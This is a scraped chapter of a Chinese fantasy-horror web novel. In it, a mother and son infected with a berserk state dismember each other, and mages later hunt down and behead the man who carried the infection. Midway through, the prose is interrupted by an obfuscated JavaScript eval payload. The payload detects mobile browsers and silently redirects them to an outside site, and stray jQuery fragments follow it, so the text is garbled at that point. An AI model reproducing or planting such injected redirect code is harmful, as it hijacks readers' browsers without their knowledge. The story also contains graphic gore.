默认冷灰
24号文字
方正启体

122.狂化

作者:冗林本书字数:K更新时间:
    安德烈拖着脱节的半截小腿往门口走。


    索菲亚刚走到卧室门口,被突然拉开的房门吓了一跳。“亲爱的,发生什么事了?”


    她闻到了血腥味,很快注意到了安德烈腿上的伤口。


    “这必须要找医生才行。”索菲亚念叨着,“可是这么晚了哪还有诊所开门?对了,街口那对夫妻就是医生。宝贝你快坐下,再忍忍,我去请他们过来。”


    索菲亚踮起脚尖把僵硬的安德烈按到床边坐下,她转身急匆匆往外跑。


    没跑出去两步路,索菲亚感觉肩膀被用力推了一下,失去重心,向前扑倒。


    安德烈用近乎整个人的体重压住索菲亚。


    索菲亚拍打着地板:“宝贝,怎么了?快放开妈妈,我快要呼吸不上了!”


    身上的安德烈没有回应,力度也没有减轻。


    索菲亚手掌撑地,拱起背试图爬起来。安德烈抓住她的胳膊,向远离身体的方向用力拉扯。


    索菲亚感觉肌肉仿佛被撕裂了,尖锐的疼痛让她出了一身冷汗,肩膀处的骨头异常突起,好像是脱臼了。


    索菲亚动用另一只胳膊,反手去掐安德烈的腰部。他从小最怕痒,一碰那个位置就笑。


    但是身后没有传来笑声,只有哼哧哼哧继续用力的声音,压在她身上的力气没有泄掉。


    索菲亚的心一下冷了。这会不会根本不是她的宝贝安德烈?


    想明白这一点,索菲亚狠下心,向后瞥了一眼,用脚后跟用力踢安德烈受伤的小腿。


    安德烈终于发出吃痛的声音。


    索菲亚感觉身体一侧松了,她用力翻身,将安德烈掀翻在地。安德烈滚了出去,撞到二楼的栏杆,被栏杆拦住。


    没等索菲亚站起来,安德烈再次四肢并用快速爬过来将索菲亚扑倒。被激怒的安德烈一下把索菲亚的一条胳膊扯了下来。


    索菲亚痛苦惨叫,被安德烈膝盖压住的胸膛紧紧黏在地上,其他部分的身体如离开水的鱼虾般猛地挣扎跳动。她的额头狠狠磕到了安德烈的鼻子,鲜血流下来,滴到胳膊与肩膀的断裂处。


    索菲亚的叫声慢慢变弱,她的喉咙发出类似动物喘气的嗬嗬声。她的眼神也在慢慢变化,从参杂了疑惑不解的痛苦,到纯粹的痛苦,经历了短暂的迷茫失焦之后,又变得狠厉。


    人类真神奇,眼睛边的肌肉那么小那么少,仅靠一点点微小的变化竟然能传递出完全不一样的情绪。


    索菲亚两腿一并,夹住安德烈耷拉在后面的那截小腿,用力往后一蹬,将那截小腿彻底扯了下来。


    安德烈双眼通红,发出动物版的嘶吼,倒爬两步,一手抓住索菲亚一条腿,往两边一字型地展臂,瞬间将索菲亚两条腿扯了下来。


    最先掉落在地上的胳膊突然弹跳起来,和索菲亚挺起的身体上的另一只胳膊一起扯掉了安德烈的胳膊。


    安德烈单手揪住了索菲亚的头发,索菲亚两只手箍住了安德烈的脖子,两人同时角力。


    啵——


    像拔出来了红酒瓶子上的木塞,猩红的血液同时从断裂的脖颈处喷发出来。


    失去了脑袋的躯体仍旧互相撕扯着其他部位,直到一地七零八落的肢体,才像用光了能量一般,摊在地上完全不动了。


    -


    简深吸一口气靠在石质椅背上。


    这要怎么和谢尔盖说?


    根本没有什么凶手,是他亲爱的妻子和疼爱的孩子互相残杀了。


    虽然他们不会无缘无故突然异变,问题的来源应该还是伊万。


    现在最重要的是先找到伊万。他一直欲言又止,肯定隐瞒了什么。


    简回调画面,这一次将视角锁定在了跳出窗户的伊万身上。


    画面中的伊万在夜色中一路狂奔,熟练地来到半山腰一处地方。他清扫掉积雪,露出一个被积雪掩盖的洞穴。


    他曾经是科考学者,看来对附近地貌十分熟悉。


    这段时间伊万白天躲藏在洞穴中,夜晚出来到附近的村庄偷别人晾晒的鱼干、咸肉和腌菜。


    过了两天,洞内的食物消耗得差不多了,伊万再次在夜晚离开山洞到村庄大扫荡。不过这次外面的食物都被村民收了进去,应当是上一次食物被偷的消息传开了,大家都有所防范。


    伊万只得到村庄外的垃圾堆翻找腐败的食物和食物残渣。


    -


    简带着谢尔盖和几个帮手来到了伊万躲藏的半山洞穴。


    洞内空气浑浊,充斥着树枝不完全燃烧的臭味。提灯照出的光束中,飘着许许多多细小的烟尘。


    “谁?!”伊万听到了洞口的脚步声,在洞内喊道。


    简停住脚步介绍道:“这是索菲亚的现任丈夫,安德烈的继父——谢尔盖,我们是谢尔盖的朋友。”


    伊万自责地说:“对不起,我不是故意弄伤安德烈的。我从……逃出来之后,会突然失去意识,无法控制自己。你们不要靠近!我怕误伤你们!”


    即便凡已经提前跟他说了妻子的死另有隐情,但谢尔盖仍旧无法压制自己的愤怒。


    “误伤?!是碎尸!你把他们撕成了一块一块!你让我怎么原谅!你从哪里逃出来的?到底发生了什么?你今天必须给我讲清楚!”


    洞内发出一阵悉悉索索的声音,几个人立刻成警戒姿态,随时准备调用魔法。


    伊万身上挂着杂草、小树枝和食物残渣,蓬头垢面地跑了出来,声音颤抖地问:“什么碎尸?他们死了?不可能啊!清醒过来之后我看到安德烈的腿被弄伤了,我害怕失去意识后会做出更可怕的事,立马从家里二楼的窗户跳了出去,躲到了这里。那时候他们还好好的啊!”


    “是的,在你走后他们死了。”简冷静发问,“我们希望你讲清楚为什么十年不归。十年间去了哪里,身上到底发生了什么,期间有没有接触什么奇怪的东西。这样或许我能搞清楚他们死亡的原因。”


    伊万双手抓住乱糟糟的头发,向外拉扯头皮,额角青筋暴露:“我就不该回来,哼哼。”


    伊万上前一步,抓住一位同伴手持的长矛,抵在心口:“啊,啊,他们死了,都没有意义了。杀了我吧!求求你们!”


    简呵斥道:“你冷静一些好吗!有意义……”


    伊万眼神有所松动,但紧跟着惨叫一声:“啊!”


    拿着长矛的同伴被伊万癫狂的状态吓到,双手不自觉用力,把伊万胸口捅出了血。


    伊万的眼神瞬间变了。


    “小心!他狂化了!”简提醒道。


    一直保持攻击姿态的几人没有出手攻击,而是频频往后退。


    伊万抢过那人的长矛,轻轻一掰,铁质长矛顿时分作两半,拿在手中。


    谢尔盖肌肉暴涨,袖子紧绷起来,不畏金属尖刺扑向伊万。


    简退至队伍最后提醒道:“小心不要受伤,不要沾上他的血,可能会被感染狂化状态。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038301|173199||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>谢尔盖握住伊万两只手,与他僵持住:“别忘了我们的约定!”


    一瞬间,惨烈的碎尸和想要的报酬在几人脑海中不断搏斗。眼前两人僵持住了,他们人多,是优势方,最终一咬牙,几人同时冲过去。


    谢尔盖着急地说:“尽量留活口!把他按倒,捆住!”


    个高的锁住伊万的脖子,个矮的蹲下拉住伊万的腿。


    谢尔盖快速变位,抽出伊万手中两根半截的尖铁棍。


    “呀啊!”狂化后的伊万力气很大,他猛地向后退,身后的人被他带倒。


    几人同时上手,总觉得有别人在,都没上实劲,收了几分力气,反倒给了伊万机会。


    带倒身后的人之后,伊万又猛地向前一怼,铁棍尖利的断裂处划伤了谢尔盖的手臂。


    伊万从人群中跳出去,跑向深邃的山洞。


    龙脊山脉下方是错综复杂的矿洞,真让他钻进去就很难再找到他了。


    “刀去!”眼看奖励就要飞走,顾不上简的提醒,一名金属元素魔法师控制长刀追出去,刺向伊万的胸口。


    同时前方洞穴地表耸动,冒出地刺,钉住了伊万的两条腿。


    鲜血飞溅到几人身上,伊万保持被钉住的姿态,上半身像鞠躬一样,垂下来不动了。


    土元素魔法师感觉脸上湿湿的,抬手抹掉,看到了一抹鲜红,僵硬地回头看向简:“我们溅上他的血了,怎么办?”


    使长矛的血肉魔法师扭扭脖子:“我好像没有狂化的感觉啊。”


    金属元素魔法师冷笑一声,默默收刀,又一股鲜血喷涌了出来。


    伊万喷出的血中带有比现场浓度更高的血肉魔法辉,但为什么没起效果呢?简也有些摸不着头脑。


    简注意到组织者谢尔盖捂着胳膊迟迟没有说话,于是多看了两眼。


    谢尔盖靠在岩壁上,抓住胳膊的手不断用力,表情不断转变,好像在与狂化状态做着抵抗。


    难道是伤口?血液与血液交融,辉渗透到了伤者的血液中,从而引发了狂化?


    简掏出瑞森提前配置好的药粉,抓住谢尔盖的胳膊。谢尔盖沉着脸抬手将简的手打开,但简已经眼疾手快地将药粉撒到了谢尔盖的伤口上。


    其他人也感觉到了谢尔盖的不对劲,意识到简之前说的是正确的,一边提防谢尔盖,一边担心自己的状态。


    谢尔盖突然长舒一口气,抬头擦了擦汗:“谢谢你,凡,你的药剂帮我彻底摆脱了那种失控的状态。”


    他又看到了其他人身上的血液,关心道:“你们没事吧?”


    “暂时还没感觉到不对。”


    “凡,到底怎么回事?”


    简说:“可能是身上有伤口才会被传染。大家是魔法师,相比谢尔盖的家人,对魔法能量的耐受力更好,所以没那么容易受到影响。不过为了保险起见,大家还是都服下药粉吧。”


    几人双手接过简给的药,诚心地说:“谢谢。”


    几人看向谢尔盖:“那他的尸体该如何处理?”


    “我也拿不准,影响别人就不好了。不然就留在这里吧。我们出去之后把洞用雪重新封住,龙脊山脉的雪常年不化,应该不会有人来。”谢尔盖又看向简,“不知道这样做是否合适?”


    简想到了在镜子中看到的画面:“应该没问题,不过走之前必须把他的头砍掉。”


    “我来吧!”金属元素魔法师再次操刀,砍下了伊万的脑袋。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)